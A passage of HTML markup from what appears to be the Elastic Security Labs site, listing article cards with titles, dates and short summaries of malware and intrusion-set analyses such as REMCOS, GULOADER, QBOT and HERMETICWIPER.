half of its execution flow and you’ll learn more about REMCOS recording capabilities and communication with its C2.</p></div></a><a href="/security-labs/dissecting-remcos-rat-part-one"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Dissecting REMCOS RAT: An in-depth analysis of a widespread 2024 malware, Part One" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdissecting-remcos-rat-part-one%2FSecurity%20Labs%20Images%2036.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdissecting-remcos-rat-part-one%2FSecurity%20Labs%20Images%2036.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdissecting-remcos-rat-part-one%2FSecurity%20Labs%20Images%2036.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">24 April 2024</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Dissecting REMCOS RAT: An in-depth analysis of a widespread 2024 malware, Part One</h3><p class="text-sm text-zinc-400">This malware research article describes the REMCOS implant at a high level, and provides background for future articles in this multipart series.</p></div></a><a href="/security-labs/introduction-to-hexrays-decompilation-internals"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Introduction to Hex-Rays decompilation internals" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fintroduction-to-hexrays-decompilation-internals%2Fphoto-edited-05.png&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fintroduction-to-hexrays-decompilation-internals%2Fphoto-edited-05.png&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fintroduction-to-hexrays-decompilation-internals%2Fphoto-edited-05.png&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">14 February 2024</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Introduction to Hex-Rays decompilation internals</h3><p class="text-sm text-zinc-400">In this publication, we delve into Hex-Rays microcode and explore techniques for manipulating the generated CTree to deobfuscate and annotate decompiled code.</p></div></a><a href="/security-labs/getting-gooey-with-guloader-downloader"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Getting gooey with GULOADER: deobfuscating the downloader" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fgetting-gooey-with-guloader-downloader%2Fphoto-edited-03%402x.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fgetting-gooey-with-guloader-downloader%2Fphoto-edited-03%402x.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fgetting-gooey-with-guloader-downloader%2Fphoto-edited-03%402x.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">6 December 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Getting gooey with GULOADER: deobfuscating the downloader</h3><p class="text-sm text-zinc-400">Elastic Security Labs walks through the updated GULOADER analysis countermeasures.</p></div></a><a href="/security-labs/elastic-catches-dprk-passing-out-kandykorn"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Elastic catches DPRK passing out KANDYKORN" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Felastic-catches-dprk-passing-out-kandykorn%2Fphoto-edited-01%402x.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Felastic-catches-dprk-passing-out-kandykorn%2Fphoto-edited-01%402x.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Felastic-catches-dprk-passing-out-kandykorn%2Fphoto-edited-01%402x.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">1 November 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Elastic catches DPRK passing out KANDYKORN</h3><p class="text-sm text-zinc-400">Elastic Security Labs exposes an attempt by the DPRK to infect blockchain engineers with novel macOS malware.</p></div></a><a href="/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="GHOSTPULSE haunts victims using defense evasion bag o' tricks" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks%2Fphoto-edited-05%402x.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks%2Fphoto-edited-05%402x.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks%2Fphoto-edited-05%402x.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">27 October 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">GHOSTPULSE haunts victims using defense evasion bag o' tricks</h3><p class="text-sm text-zinc-400">Elastic Security Labs reveals details of a new campaign leveraging defense evasion capabilities to infect victims with malicious MSIX executables.</p></div></a><a href="/security-labs/disclosing-the-bloodalchemy-backdoor"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Disclosing the BLOODALCHEMY backdoor" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdisclosing-the-bloodalchemy-backdoor%2Fphoto-edited-05%402x.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdisclosing-the-bloodalchemy-backdoor%2Fphoto-edited-05%402x.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdisclosing-the-bloodalchemy-backdoor%2Fphoto-edited-05%402x.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">13 October 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Disclosing the BLOODALCHEMY backdoor</h3><p class="text-sm text-zinc-400">BLOODALCHEMY is a new, actively developed, backdoor that leverages a benign binary as an injection vehicle, and is a part of the REF5961 intrusion set.</p></div></a><a href="/security-labs/dancing-the-night-away-with-named-pipes"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Dancing the night away with named pipes - PIPEDANCE client release" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdancing-the-night-away-with-named-pipes%2Fphoto-edited-12%402x.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdancing-the-night-away-with-named-pipes%2Fphoto-edited-12%402x.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdancing-the-night-away-with-named-pipes%2Fphoto-edited-12%402x.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">5 October 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Dancing the night away with named pipes - PIPEDANCE client release</h3><p class="text-sm text-zinc-400">In this publication, we will walk through this client application’s functionality and how to get started with the tool.</p></div></a><a href="/security-labs/introducing-the-ref5961-intrusion-set"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Introducing the REF5961 intrusion set" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fintroducing-the-ref5961-intrusion-set%2Fphoto-edited-08%402x.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fintroducing-the-ref5961-intrusion-set%2Fphoto-edited-08%402x.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fintroducing-the-ref5961-intrusion-set%2Fphoto-edited-08%402x.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">4 October 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Introducing the REF5961 intrusion set</h3><p class="text-sm text-zinc-400">The REF5961 intrusion set discloses three new malware families targeting ASEAN members. The threat actor leveraging this intrusion set continues to develop and mature their capabilities.</p></div></a><a href="/security-labs/revisiting-blister-new-developments-of-the-blister-loader"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Revisiting BLISTER: New development of the BLISTER loader" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Frevisiting-blister-new-developments-of-the-blister-loader%2Fcracked-lava.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Frevisiting-blister-new-developments-of-the-blister-loader%2Fcracked-lava.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Frevisiting-blister-new-developments-of-the-blister-loader%2Fcracked-lava.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">24 August 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Revisiting BLISTER: New development of the BLISTER loader</h3><p class="text-sm text-zinc-400">Elastic Security Labs dives deep into the recent evolution of the BLISTER loader malware family.</p></div></a><a href="/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="NAPLISTENER: more bad dreams from developers of SIESTAGRAPH" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fnaplistener-more-bad-dreams-from-the-developers-of-siestagraph%2Fblog-thumb-filtered-lens.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fnaplistener-more-bad-dreams-from-the-developers-of-siestagraph%2Fblog-thumb-filtered-lens.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fnaplistener-more-bad-dreams-from-the-developers-of-siestagraph%2Fblog-thumb-filtered-lens.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">27 June 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">NAPLISTENER: more bad dreams from developers of SIESTAGRAPH</h3><p class="text-sm text-zinc-400">Elastic Security Labs observes that the threat behind SIESTAGRAPH has shifted priorities from data theft to persistent access, deploying new malware like NAPLISTENER to evade detection.</p></div></a><a href="/security-labs/elastic-charms-spectralviper"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Elastic charms SPECTRALVIPER" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Felastic-charms-spectralviper%2Fphoto-edited-10%402x.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Felastic-charms-spectralviper%2Fphoto-edited-10%402x.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Felastic-charms-spectralviper%2Fphoto-edited-10%402x.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">9 June 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Elastic charms SPECTRALVIPER</h3><p class="text-sm text-zinc-400">Elastic Security Labs has discovered the P8LOADER, POWERSEAL, and SPECTRALVIPER malware families targeting a national Vietnamese agribusiness. REF2754 shares malware and motivational elements of the REF4322 and APT32 activity groups.</p></div></a><a href="/security-labs/elastic-security-labs-steps-through-the-r77-rootkit"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Elastic Security Labs steps through the r77 rootkit" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Felastic-security-labs-steps-through-the-r77-rootkit%2Fphoto-edited-06%402x.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Felastic-security-labs-steps-through-the-r77-rootkit%2Fphoto-edited-06%402x.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Felastic-security-labs-steps-through-the-r77-rootkit%2Fphoto-edited-06%402x.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">22 May 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Elastic Security Labs steps through the r77 rootkit</h3><p class="text-sm text-zinc-400">Elastic Security Labs explores a campaign leveraging the r77 rootkit and has been observed deploying the XMRIG crypto miner. The research highlights the different modules of the rootkit and how they’re used to deploy additional malicious payloads.</p></div></a><a href="/security-labs/elastic-security-labs-discovers-lobshot-malware"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Elastic Security Labs discovers the LOBSHOT malware" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Felastic-security-labs-discovers-lobshot-malware%2Fphoto-edited-08%402x.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Felastic-security-labs-discovers-lobshot-malware%2Fphoto-edited-08%402x.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Felastic-security-labs-discovers-lobshot-malware%2Fphoto-edited-08%402x.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">16 May 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Elastic Security Labs discovers the LOBSHOT malware</h3><p class="text-sm text-zinc-400">Elastic Security Labs is naming a new malware family, LOBSHOT. LOBSHOT propagates and infiltrates targeted networks through Google Ads and hVNC sessions to deploy backdoors masquerading as legitimate application installers.</p></div></a><a href="/security-labs/elastic-users-protected-from-suddenicon-supply-chain-attack"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Elastic users protected from SUDDENICON’s supply chain attack" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Felastic-users-protected-from-suddenicon-supply-chain-attack%2Fphoto-edited-06%402x.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Felastic-users-protected-from-suddenicon-supply-chain-attack%2Fphoto-edited-06%402x.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Felastic-users-protected-from-suddenicon-supply-chain-attack%2Fphoto-edited-06%402x.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">5 May 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Elastic users protected from SUDDENICON’s supply chain attack</h3><p class="text-sm text-zinc-400">Elastic Security Labs is releasing a triage analysis to assist 3CX customers in the initial detection of SUDDENICON, a potential supply-chain compromise affecting 3CX VOIP softphone users.</p></div></a><a href="/security-labs/blister-loader"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="BLISTER Loader" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fblister-loader%2Fblog-thumb-power-lines.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fblister-loader%2Fblog-thumb-power-lines.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fblister-loader%2Fblog-thumb-power-lines.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">13 April 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">BLISTER Loader</h3><p class="text-sm text-zinc-400">The BLISTER loader continues to be actively used to load a variety of malware.</p></div></a><a href="/security-labs/attack-chain-leads-to-xworm-and-agenttesla"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Attack chain leads to XWORM and AGENTTESLA" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fattack-chain-leads-to-xworm-and-agenttesla%2Fblog-thumb-coin-stacks.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fattack-chain-leads-to-xworm-and-agenttesla%2Fblog-thumb-coin-stacks.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fattack-chain-leads-to-xworm-and-agenttesla%2Fblog-thumb-coin-stacks.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">10 April 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Attack chain leads to XWORM and AGENTTESLA</h3><p class="text-sm text-zinc-400">Our team has recently observed a new malware campaign that employs a well-developed process with multiple stages. The campaign is designed to trick unsuspecting users into clicking on the documents, which appear to be legitimate.</p></div></a><a href="/security-labs/not-sleeping-anymore-somnirecords-wakeup-call"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Not sleeping anymore: SOMNIRECORD's wake-up call" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fnot-sleeping-anymore-somnirecords-wakeup-call%2Fblog-thumb-steel-engine.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fnot-sleeping-anymore-somnirecords-wakeup-call%2Fblog-thumb-steel-engine.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fnot-sleeping-anymore-somnirecords-wakeup-call%2Fblog-thumb-steel-engine.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">22 March 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Not sleeping anymore: SOMNIRECORD's wake-up call</h3><p class="text-sm text-zinc-400">Elastic Security Labs researchers identified a new malware family written in C++ that we refer to as SOMNIRECORD. This malware functions as a backdoor and communicates with command and control (C2) while masquerading as DNS.</p></div></a><a href="/security-labs/thawing-the-permafrost-of-icedid-summary"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Thawing the permafrost of ICEDID Summary" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fthawing-the-permafrost-of-icedid-summary%2Fblog-thumb-tree-icicles.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fthawing-the-permafrost-of-icedid-summary%2Fblog-thumb-tree-icicles.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fthawing-the-permafrost-of-icedid-summary%2Fblog-thumb-tree-icicles.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">21 March 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Thawing the permafrost of ICEDID Summary</h3><p class="text-sm text-zinc-400">Elastic Security Labs analyzed a recent ICEDID variant consisting of a loader and bot payload. By providing this research to the community end-to-end, we hope to raise awareness of the ICEDID execution chain, capabilities, and design.</p></div></a><a href="/security-labs/twice-around-the-dance-floor-with-pipedance"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Twice around the dance floor - Elastic discovers the PIPEDANCE backdoor" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Ftwice-around-the-dance-floor-with-pipedance%2Fphoto-edited-12%402x.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Ftwice-around-the-dance-floor-with-pipedance%2Fphoto-edited-12%402x.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Ftwice-around-the-dance-floor-with-pipedance%2Fphoto-edited-12%402x.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">27 February 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Twice around the dance floor - Elastic discovers the PIPEDANCE backdoor</h3><p class="text-sm text-zinc-400">Elastic Security Labs is tracking an active intrusion into a Vietnamese organization using a recently discovered triggerable, multi-hop backdoor we are calling PIPEDANCE. This full-featured malware enables stealthy operations through the use of named</p></div></a><a href="/security-labs/cuba-ransomware-malware-analysis"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="CUBA Ransomware Malware Analysis" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fcuba-ransomware-malware-analysis%2Fblog-thumb-coin-stacks.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fcuba-ransomware-malware-analysis%2Fblog-thumb-coin-stacks.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fcuba-ransomware-malware-analysis%2Fblog-thumb-coin-stacks.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">14 February 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">CUBA Ransomware Malware Analysis</h3><p class="text-sm text-zinc-400">Elastic Security has performed a deep technical analysis of the CUBA ransomware family. This includes malware capabilities as well as defensive countermeasures.</p></div></a><a href="/security-labs/qbot-malware-analysis"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="QBOT Malware Analysis" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fqbot-malware-analysis%2Fblog-thumb-drill-bit.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fqbot-malware-analysis%2Fblog-thumb-drill-bit.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fqbot-malware-analysis%2Fblog-thumb-drill-bit.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">14 February 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">QBOT Malware Analysis</h3><p class="text-sm text-zinc-400">Elastic Security Labs releases a QBOT malware analysis report covering the execution chain. From this research, the team has produced a YARA rule, configuration-extractor, and indicators of compromises (IOCs).</p></div></a><a href="/security-labs/exploring-the-ref2731-intrusion-set"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Exploring the REF2731 Intrusion Set" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fexploring-the-ref2731-intrusion-set%2Fref-intrusion.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fexploring-the-ref2731-intrusion-set%2Fref-intrusion.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fexploring-the-ref2731-intrusion-set%2Fref-intrusion.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">6 December 2022</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Exploring the REF2731 Intrusion Set</h3><p class="text-sm text-zinc-400">The Elastic Security Labs team has been tracking REF2731, an 5-stage intrusion set involving the PARALLAX loader and the NETWIRE RAT.</p></div></a><a href="/security-labs/bughatch-malware-analysis"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="BUGHATCH Malware Analysis" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fbughatch-malware-analysis%2Flibraries-edev-ops-1680x980.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fbughatch-malware-analysis%2Flibraries-edev-ops-1680x980.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fbughatch-malware-analysis%2Flibraries-edev-ops-1680x980.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">9 September 2022</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">BUGHATCH Malware Analysis</h3><p class="text-sm text-zinc-400">Elastic Security has performed a deep technical analysis of the BUGHATCH malware. This includes capabilities as well as defensive countermeasures.</p></div></a><a href="/security-labs/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Elastic protects against data wiper malware targeting Ukraine: HERMETICWIPER" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Felastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper%2Fphoto-edited-11%402x.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Felastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper%2Fphoto-edited-11%402x.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Felastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper%2Fphoto-edited-11%402x.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">9 September 2022</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Elastic protects against data wiper malware targeting Ukraine: HERMETICWIPER</h3><p class="text-sm text-zinc-400">Analysis of the HERMETICWIPER malware targeting Ukranian organizations.</p></div></a><a href="/security-labs/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Going Coast to Coast - Climbing the Pyramid with the Deimos Implant" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" 